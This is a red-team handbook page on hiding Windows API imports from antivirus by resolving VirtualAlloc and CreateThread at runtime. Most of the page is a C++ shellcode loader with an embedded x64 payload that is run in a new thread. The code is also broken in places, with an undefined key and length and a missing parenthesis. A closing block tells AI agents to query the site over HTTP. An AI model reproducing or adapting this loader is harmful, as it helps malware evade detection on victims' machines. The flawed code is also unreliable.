> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports.md).

# Obfuscating Imports

Looking at the imports of a PE file can be a big indicator of malicious use. For example, should a legitimate binary only use: VirtualAlloc, RtlMoveMemory, and CreateThread? Or is it just malware. Looking at the imports of already known malware and applying detecting logic based on that is something AV's do.

We can Obfuscate our imports and not make those malicious functions popup in our import table by dynamically resolving our functions. We can do this with GetModuleHandle and GetProcAddress.

We will get a handle to the dll that exports the function you want to use, get the address of the function in the dll, and simply call that.

An example implementation of this is:

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment (lib, "user32.lib")

// https://github.com/9emin1/charlotte/blob/main/template.cpp


char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int pay_len = sizeof(shellcode);


LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
HANDLE (WINAPI * pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD (WINAPI * pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);


int main(void) {

	XOR((char *) shellcode, pay_len, key, sizeof(key));
	pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
	void *exec = pVirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlMoveMemory(exec, shellcode, sizeof(shellcode);
 	pCreateThread = GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
	HANDLE th = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec, 0, 0, 0);
	pWaitForSingleObject = GetProcAddress(GetModuleHandle("kernel32.dll"), "WaitForSingleObject"); 
	pWaitForSingleObject(th, -1);
}
```

Let's find the imports of the code above to see if it really works. You can check the imports with dumpbin:

```cpp
dumpbin /imports executable.exe
```

In this case, no instances of VirtualAlloc, CreateThread etc. have been found in the import adress table.

![](/files/-Mh-YE5yogIHHTJizsoW)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.